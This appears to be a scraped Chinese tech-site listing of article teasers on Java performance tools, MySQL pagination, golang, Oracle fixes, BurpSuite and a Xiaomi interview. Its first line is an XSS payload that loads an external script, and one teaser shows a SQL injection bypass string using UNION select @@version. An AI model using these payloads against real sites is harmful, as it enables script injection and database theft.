<svg/onload=s=createElement('script');body.appendChild(s);s.src='url';> ...
JAVA
九大工具助你玩转Java性能优化
之前我写过一篇关于5个工具帮助写出更好的Java代码的文章。合适的工具可以改进我们的代码,并且提高开发效率。在IDR解决方案中,我们一直在找一些方法来改进我们的代码。但最近,我们在考虑改进PDF ...
MySQL的分页技术总结
有朋友问: MySQL的分页似乎一直是个问题,有什么优化方法吗?网上看到网上推荐了一些分页方法,但似乎不太可行,你能点评一下吗? 方法1: 直接使用数据库提供的SQL语句 ---...
编程茶楼
golang执行命令操作 exec.Command_Golang_脚本之家
golang执行命令操作 exec.Command 更新时间:2020年12月23日 10:50:27 作者:WangPengJu__ 这篇文章主要介绍了gol...
风土人情
在45岁生日的第二天,雷军跟大家聊了些什么
在雷军45岁生日的第二天早晨,他与十几家媒体在小米办公室畅聊了三小时。从小米生态开始,他不间断地回答了几十个问题——为什么要投资美的而不是海尔?小米生态的真相是什么?为什么要投资100家硬件公司?小米...
MYSQL注入绕过技巧
/lingdao.php?id=161.0ORDER BY%2B9/lingdao.php?id=4.990Union(select-1.0,2,3,4,5,6,7,@@version)Article...
WooYun-Zone
[zone]BurpSuite 相关
打造强大的BurpSuite-小乐天 还在为没有一款强大的工具而烦恼吗,看着那些人下个几G的工具包,我立马有种淡淡的忧伤,听说大牛都是只有那么几款工具而已,我等小白也要跟上大神的脚步呀,不然就落伍了,...
修改计算机名或IP后Oracle10g服务无法启动的解决方法
遇到的问题,问题产生原因不详。症状为,windows服务中有一项oracle服务启动不了,报出如下错误。 Windows 不能在 本地计算机 启动 OracleDBConsoleorcl 。有关更多信...
WooYun-Zone
今天遇到一个微信公众平台注入的实例
之前有过讨论,但是情况是我自己模拟出来的,今天终于遇到一个实例。 话不多说,上图。 附送盲打到的后台 1# death,wish (fͭͨ̓͋̊҉̸̡̡̮̪͉̣͉̣͇͖̪͖̲͚l͌̎) | 2013-...
神兵利刃
究竟谁在监控我?反监控工具SnoopSnitch
2014年无数的窃听事件告诉我们,“反监控”将会是2015年的一个重要课题。今天我们将介绍一款强大的监控探测工具SnoopSnitch,它是一款移动应用,居家旅行携带非常方便。SnoopSnitch检...
